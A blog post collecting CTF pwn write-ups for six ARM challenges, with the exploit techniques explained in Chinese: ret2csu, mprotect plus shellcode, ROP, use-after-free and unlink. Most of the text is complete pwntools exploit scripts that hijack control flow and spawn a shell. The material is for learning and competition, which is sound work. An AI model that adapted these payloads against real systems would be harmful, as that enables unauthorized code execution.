ARM-PWN解题汇总(一)

总结一下做的ARM题

0x00 概述

HelloArm:64位栈溢出CSU读flag
HelloArmShell:64位栈溢出CSU leak libc地址,读入system函数地址和/bin/sh,执行system(“/bin/sh”)
2018上海市大学生信安竞赛:64栈溢出,执行mprotect,写shellcode
jarvisoj_typo:32位栈溢出,简单的rop
xman入营题babyheap:32位UAF leak libc地址,再UAF劫持bss段数据,写heap list劫持free函数,执行system(“/bin/sh”)
第五空间安全大赛pwnme:32位unlink

0x01 TSCTF-2020 HelloArm

前言

比赛结束了来调一下这个题

查看文件&IDA分析

可以看到很明显的栈溢出

思路&exp

题目一开始就将flag打开了,那么我们需要做的事情就是利用已有的read和write函数来打印出flag了

题目中有类似csu的gadget,拿过来慢慢调就行了

坑点是:arm打开文件句柄不是逐个增加的,flag句柄为5,调试比较麻烦,搞了半天。。。。

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']

elf = ELF("./HelloARM")
libc = ELF("./lib/libc.so.6")

global p
remote_gdb=1
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        p = process(["qemu-aarch64-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/TSCTF-arm/HelloARM", "./HelloARM"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p
    else :
        p = process(["qemu-aarch64-static", "-L", "/home/shinnosuke/Desktop/TSCTF-arm/HelloARM", "./HelloARM"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p
pop_x20_x21_x22_x23_x24_x29_x30 = 0x000000000400AD4 
# 00AD4 LDP             X20, X21, [SP,#0x18+var_s0]
# .text:0000000000400AD8 LDP             X22, X23, [SP,#0x18+var_s10]
# .text:0000000000400ADC LDR             X24, [SP,#0x18+var_s20]
# .text:0000000000400AE0 LDP             X29, X30, [SP+0x18+var_18]

mov_x3_num_x2_x24_x1_x23_w0_w22 = 0x400a80
#.text:0000000000400AB0 LDR             X3, [X21,X19,LSL#3] = x21 + x19<<3
#.text:0000000000400AB4 MOV             X2, X24
#.text:0000000000400AB8 MOV             X1, X23
#.text:0000000000400ABC MOV             W0, W22
#.text:0000000000400AC0 ADD             X19, X19, #1
#.text:0000000000400AC4 BLR             X3
#.text:0000000000400AC8 CMP             X20, X19
#.text:0000000000400ACC B.NE            loc_400

ldr_x19_ldr_x29_x30 = 0x400884
#.text:0000000000400884 LDR             X19, [SP,#0x20+var_10]
#.text:0000000000400888 LDP             X29, X30, [SP+0x20+var_20],#0x20
#.text:000000000040088C RET]]

def csu(var1,var2,var3,ebp,call_func,ret_addr):
    payload = "a"*0x100
    payload+= p64(ebp)
    payload+= p64(0x400884)
    payload+= "a"*(288-0x10)
    payload+= p64(ebp)
    payload+= p64(0x400ad4)
    payload+= p64(0)
    payload+= p64(ebp)
    payload+= p64(ret_addr)*2 # d80
    payload+= p64(0x400a68+1) # d90
    payload+= p64(1)
    payload+= p64(call_func)
    payload+= p64(var1)
    payload+= p64(var2)
    payload+= p64(var3)
    payload+= p64(ebp)
    payload+= p64(0x400790)
    return payload

p = get_sh()
p.recvuntil(":0x")
stack_addr = int(p.recv(10),16)
success("stack addr ==> "+hex(stack_addr))
p.sendlineafter("name:","shinnosuke")
raw_input()
new_ebp = stack_addr-0x28
payload = csu(5,0x411100,0x20,new_ebp,elf.got['read'],0x400ab0)

p.sendafter("message:",pyload+"\n")

p.recvuntil(":0x")
stack_addr = int(p.recv(10),16)
success("stack addr ==> "+hex(stack_addr))
p.sendlineafter("name:","shinnosuke")
new_ebp = stack_addr-0x28

payload = csu(1,0x411100,0x20,new_ebp,elf.got['write'],0x400ab0)
raw_input()
p.sendafter("message:",payload+"\n")

p.interactive()

0x02 TSCTF-2020 HelloArmShell

题目是一样的,看起来是要拿shell的意思,思路就是CSU进行leak libc再执行system(“/bin/sh”)

执行system(“/bin/sh”)有两个思路,第一个是劫持got表,第二个是rop,rop会比较麻烦?

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']

elf = ELF("./HelloARM")
libc = ELF("./lib/libc.so.6")

global p
remote_gdb=0
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        p = process(["qemu-aarch64-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/TSCTF-arm/HelloARM", "./HelloARM"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p
    else :
        p = process(["qemu-aarch64-static", "-L", "/home/shinnosuke/Desktop/TSCTF-arm/HelloARM", "./HelloARM"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p
pop_x20_x21_x22_x23_x24_x29_x30 = 0x000000000400AD4 
# 00AD4 LDP             X20, X21, [SP,#0x18+var_s0]
# .text:0000000000400AD8 LDP             X22, X23, [SP,#0x18+var_s10]
# .text:0000000000400ADC LDR             X24, [SP,#0x18+var_s20]
# .text:0000000000400AE0 LDP             X29, X30, [SP+0x18+var_18]

mov_x3_num_x2_x24_x1_x23_w0_w22 = 0x400a80
#.text:0000000000400AB0 LDR             X3, [X21,X19,LSL#3] = x21 + x19<<3
#.text:0000000000400AB4 MOV             X2, X24
#.text:0000000000400AB8 MOV             X1, X23
#.text:0000000000400ABC MOV             W0, W22
#.text:0000000000400AC0 ADD             X19, X19, #1
#.text:0000000000400AC4 BLR             X3
#.text:0000000000400AC8 CMP             X20, X19
#.text:0000000000400ACC B.NE            loc_400

ldr_x19_ldr_x29_x30 = 0x400884
#.text:0000000000400884 LDR             X19, [SP,#0x20+var_10]
#.text:0000000000400888 LDP             X29, X30, [SP+0x20+var_20],#0x20
#.text:000000000040088C RET]]

def csu(var1,var2,var3,ebp,call_func,ret_addr):
    payload = "a"*0x100
    payload+= p64(ebp)
    payload+= p64(0x400884)
    payload+= "a"*(288-0x10)
    payload+= p64(ebp)
    payload+= p64(0x400ad4)
    payload+= p64(0)
    payload+= p64(ebp)
    payload+= p64(ret_addr)*2 # d80
    payload+= p64(0x400a68+1) # d90
    payload+= p64(1)
    payload+= p64(call_func)
    payload+= p64(var1)
    payload+= p64(var2)
    payload+= p64(var3)
    payload+= p64(ebp)
    payload+= p64(0x400790)
    return payload

p = get_sh()
p.recvuntil(":0x")
stack_addr = int(p.recv(10),16)
success("stack addr ==> "+hex(stack_addr))
p.sendlineafter("name:","shinnosuke")
raw_input()
new_ebp = stack_addr-0x28
payload = csu(1,elf.got['puts'],0x20,new_ebp,elf.got['write'],0x400ab0)

p.sendafter("message:",payload+"\n")

p.recvuntil("\n")
libc.address = u64(p.recv(5).ljust(8,"\x00"))-libc.sym['puts']
success("libc address ==> "+hex(libc.address))

p.recvuntil(":0x")
stack_addr = int(p.recv(10),16)
success("stack addr ==> "+hex(stack_addr))
p.sendlineafter("name:","shinnosuke")
new_ebp = stack_addr-0x28

payload = csu(0,0x411100,0x20,new_ebp,elf.got['read'],0x400ab0)
p.sendafter("message:",payload+"\n")
raw_input()
p.sendline("/bin/sh\x00"+p64(libc.sym['system']))

payload = csu(0x411100,0,0,new_ebp,0x411108,0x400ab0)
p.sendlineafter("name:","shinnosuke")
p.sendafter("message:",payload+"\n")

p.interactive()

0x03 Shanghai2018_baby_arm

查看文件

从图中可以看出这是一个64位arm架构的题目:

IDA分析

IDA分析的时候又遇到一个坑点:7.2的无法反汇编,最后用7.0的成功解决。

功能大致是:先读一段到bss段,再来一个栈溢出。
同时我们看到这里有个mprotect函数:

漏洞利用思路

那么我们大致思路就是先写入bss段shellcode,再利用栈溢出执行mprotect函数将NX保护关闭。

我们需要找汇编指令链了:
LDP X29, X30, [SP+var_s0],#0x10意义:x29 = [sp+var_s0],x30 = [sp+var_s0+8],注意X30就是下一条执行的指令

(ldp x29, x30, [sp], #0x40 ) 的意义:执行完后sp+0x40,#0x40 是本身带有的

还有LDR指令:
指令示例:
LDR R0,[R1] ;将存储器地址为R1的字数据读入寄存器R0。
LDR R0,[R1,R2] ;将存储器地址为R1+R2的字数据读入寄存器R0。
LDR R0,[R1,#8] ;将存储器地址为R1+8的字数据读入寄存器R0。
LDR R0,[R1,R2] ! ;将存储器地址为R1+R2的字数据读入寄存器R0,并将新地址R1+R2写入R1。
LDR R0,[R1,#8] ! ;将存储器地址为R1+8的字数据读入寄存器R0,并将新地址R1+8写入R1。
LDR R0,[R1],R2 ;将存储器地址为R1的字数据读入寄存器R0,并将新地址R1+R2写入R1。
LDR R0,[R1,R2,LSL#2]! ;将存储器地址为R1+R2×4的字数据读入寄存器R0,并将新地址R1+R2×4写入R1。(会用到)
LDR R0,[R1],R2,LSL#2 ;将存储器地址为R1的字数据读入寄存器R0,并将新地址R1+R2×4写入R1。

blr r3 跳到r3寄存器中的地址执行

payload = padding + p64(0x4008CC) # modify x30(PC) = 0x4008CC = give value to register
    payload += p64(0xdeadbeef) # X29 (sp+0)
    payload += p64(0x4008AC) # X30  这个将会在最后赋值给X30,也就是ret后执行的指令地址
    payload += p64(0) + p64(1) # X19 , X20 (sp+0x10) ldp    x19, x20, [sp, #0x10]
    payload += p64(0x411068 + 0x100) # X21 (sp+0x20) ldp    x21, x22, [sp, #0x20]
    payload += p64(0x7) # X22
    payload += p64(0x1000) # X23  (sp+0x30) ldp    x23, x24, [sp, #0x30] 执行最后ldp  x29, x30, [sp],  #0x40的这里都跳过了
    payload += p64(0x411000) # X24
    payload += p64(0xdeadbeef) # X29(sp+0x40)
    payload += p64(0x411068) # X30
    payload += p64(0) * 0x6 # X19 - X24

我们看到最后才执行给X30(PC)赋值的指令:不要被后面的#40迷惑,实际就是将sp开始的值赋给x29,x30.也就是deadbeef和0x4008ac

执行后:正如预料,但发现同时sp抬高了0x40,那么最后那条指令还意味着,栈顶太高0x40

最后跳到bss中的mprotect执行,然后再赋值onegadget。

有点像csu

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
context.binary = "./baby_arm"
context.arch='aarch64'
libc=ELF("/lib64/libc.so.6", checksec = False)
elf = ELF("./baby_arm")
remote_gdb=False
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        sh = process(["qemu-aarch64", "-g", "1234", "-L", "/lib64", "./baby_arm"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-aarch64", "-L", "/lib64", "./baby_arm"])


if __name__ == "__main__":
    p = get_sh(0)
    shell_code = asm(shellcraft.sh())
    shell_code = shell_code.ljust(0x100,'\x90')
    shell_code = shell_code + p64(elf.plt['mprotect'])
    padding = 'A' * 0x40 + p64(0xdeadbeef)
    payload = padding + p64(0x4008CC) # modify x30(PC) = 0x4008CC = give value to register
    payload += p64(0xdeadbeef) # X29 (sp+0)
    payload += p64(0x4008AC) # X30  
    payload += p64(0) + p64(1) # X19 , X20 (sp+0x10) ldp    x19, x20, [sp, #0x10]
    payload += p64(0x411068 + 0x100) # X21 (sp+0x20) ldp    x21, x22, [sp, #0x20]
    payload += p64(0x7) # X22
    payload += p64(0x1000) # X23  (sp+0x30) ldp    x23, x24, [sp, #0x30]
    payload += p64(0x411000) # X24
    payload += p64(0xdeadbeef) # X29 (sp+0x40)
    payload += p64(0x411068) # X30
    payload += p64(0) * 0x6 # X19 - X24
    p.recvuntil('Name:')
    p.sendline(shell_code)
    p.sendline(payload)
    p.interactive()

0x04 jarvisoj_typo

查看文件

看到是arm 32位,没开canary。

IDA分析

loc_907后的指令没有反编译出来:

最后尝试栈溢出,发现有问题。

112位置栈溢出。同时PIE没开,bin/sh还在文件里面。

在构造ROP链前,复习几个寄存器的知识:R15/PC寄存器就是EIP;R1~R5是EDI、ESI、EDX、ECX、EBX:

使用pop {r1, pc}指令。

即rop = pop {r1,pc} + /bin/sh addr+ system addr

system地址:0x110b4
/bin/sh地址:0x6c384

正确的ROP:

rop = pop {r0,r4,pc} + /bin/sh addr + /bin/sh addr + system addr

getshell:

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
libc=ELF("/usr/arm-linux-gnueabi/lib/libc.so.6", checksec = False)
remote_gdb=False
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "./typo"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./typo"])


if __name__ == "__main__":
    sh = get_sh(0)
    payload = "a"*112
    payload+= p32(0x20904)
    payload+= p32(0x6c384)
    payload+= p32(0x6c384)
    payload+= p32(0x110b4)


    sh.recvuntil("quit")
    sh.send("\n")
    sh.recv()
    sh.send(payload)
    sh.interactive()

0x05 XMAN入营-babyheap

查看文件

32位arm,没开PIE,GOT表可劫持,2.23 libc

IDA分析

UAF,没有任何条件限制。malloc没有size限制

思路

UAF leak libc地址,再UAF劫持bss段数据,写heap list劫持free函数,执行system(“/bin/sh”)就可以getshell了。

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
libc=ELF("./libc.so", checksec = False)
remote_gdb=0
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        p = process(["qemu-arm", "-g", "1234", "-L", "/home/shinnosuke/Desktop/arm-pwn", "./baby_heap"],env={"LD_PRELOAD":"./libc.so"})
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return p
    else :
        return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./baby_heap"],env={"LD_PRELOAD":"./libc.so"})
        # return process("./baby_heap",env={"LD_PRELOAD":"./libc.so"})
# p = process("./baby_heap",env={"LD_PRELOAD":"./libc.so"})

def create(size,content):
    p.sendlineafter("choice: \n",str(1))
    p.sendlineafter("Note size :",str(size))
    p.sendafter("Content :",content)

def delete(index):
    p.sendlineafter("choice: \n",str(2))
    p.sendlineafter("Index :",str(index))

def show(index):
    p.sendlineafter("choice: \n",str(3))
    p.sendlineafter("Index :",str(index))

def edit(index,content):
    p.sendlineafter("choice: \n",str(5))
    p.sendlineafter("Index :",str(index))
    p.sendafter("You content:",content)

p = get_sh(0)
p.sendlineafter("name:","a"*0x8+p32(0)+p32(0x41))
create(0x90,"\x11"*0x10+"\n") # 0
create(0x90,"\x22"*0x10+"\n") # 1
delete(0)
show(0)
data = u32(p.recv(4).ljust(4,"\x00"))
# libc.address = data - 48 - libc.symbols["__malloc_hook"] -0x10
libc.address = data - 0xe87cc
#0xf66e7b94
#0xf66e8000
success("libc address ==>"+hex(libc.address))
create(0x90,"\x22"*0x10+"\n") # 2
create(0x3c,"\x33"*0x3c)  # 3
create(0x3c,"\x44"*0x3c)  # 4
delete(3)
delete(4)
delete(3)
create(0x3c,p32(0x21070)) # 5 = 3
create(0x3c,"\n") # 6 = 4
create(0x3c,"\n") # 7 = 3
create(0x3c,"a"*0x10+p32(0x00021014)) # 8 = bss
edit(0,p32(libc.symbols["system"]))
create(0x30,"/bin/sh\x00") # 9
delete(9)
p.interactive()

0x06 第五空间安全大赛-pwnme

查看文件

这个32位的arm题,保护仅开启NX。

IDA分析

典型的菜单题,漏洞也很明显:

这里edit的时候有一个控制size的漏洞,那么就可以overflow了。既然这里保护都没开,我们想到一个很久没有使用的技术:unlink

思路

unlink向bss中写入bss地址,从而可以控制heap list,写got表地址leak libc,改got表getshell

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
local = 1
if local == 1:
    #p = process(["qemu-arm","-g","1234","-L","/home/xiaoxiaorenwu/pwn/2020dwkj/pwnme","./a.out"])
    # p = process(["qemu-arm", "-g", "1234", "-L", "/usr/624-lib", "./a.out"])
    p = process(["qemu-arm", "-L", "/usr/624-lib", "./a.out"])

    libc = ELF('/usr/624-lib/lib/libc.so.0')
    elf = ELF('./a.out')
else:
    p = remote('121.36.58.215',1337)
    elf = ELF('./a.out')
    libc = ELF('/usr/624-lib/lib/libc.so.0')

def new(length,content):
    p.recvuntil('>>> ')
    p.sendline('2')
    p.recvuntil('Length:')
    p.sendline(str(length))
    p.recvuntil('Tag:')
    p.send(content)


def show():
    p.recvuntil('>>> ')
    p.sendline('1')

def delete(idx):
    p.recvuntil('>>> ')
    p.sendline('4')
    p.recvuntil('Tag:')
    p.sendline(str(idx))

def edit(idx,length,content):
    p.recvuntil('>>> ')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(idx))
    p.recvuntil('Length:')
    p.sendline(str(length))
    p.recvuntil('Tag:')
    p.send(content)

new(0x24,"\x11")
new(0xf8,"\x22")
new(0x24,"/bin/sh")

ptr = 0x2106c  # 我们想要写入的地址
edit(0,0x24,p32(0)+p32(0x21)+p32(ptr-0xc)+p32(ptr-0x8)+"a"*0x10+p32(0x20)) # fd(0x21060) 写入0x2106c
delete(1)
edit(0,0x100,p32(0)*2+p32(0x24)+p32(0x2106c)+p32(0x24)+p32(elf.got['free']))
show()
sleep(1)
p.recv(11)
libc.address = u32(p.recv(4))-libc.symbols["free"]
success("libc addr ==> "+hex(libc.address))
edit(1,4,p32(libc.symbols["system"]))
delete(2)
p.interactive()

 Previous
MIPS-PWN解题汇总(一) MIPS-PWN解题汇总(一)
summaryTSCTF HelloMIPS:32位mips栈溢出,rop2020-西湖论剑-management:32位mips unlinkUCTF-2016-ADD:32位栈溢出,shellcode 0x01 TSCTF HelloM
2020-10-21
Next 
2019-D3CTF部分PWN解题 2019-D3CTF部分PWN解题
Summaryezfile:利用UAF来修改stdin的fileno为3,然后再栈溢出控制rdi为.flag然后返回到open fd的位置。这个时候将.flag的内容做为名字输入再打印出来。就可以泄露flag了。注意改到stdin位置和栈地
2020-10-20
  TOC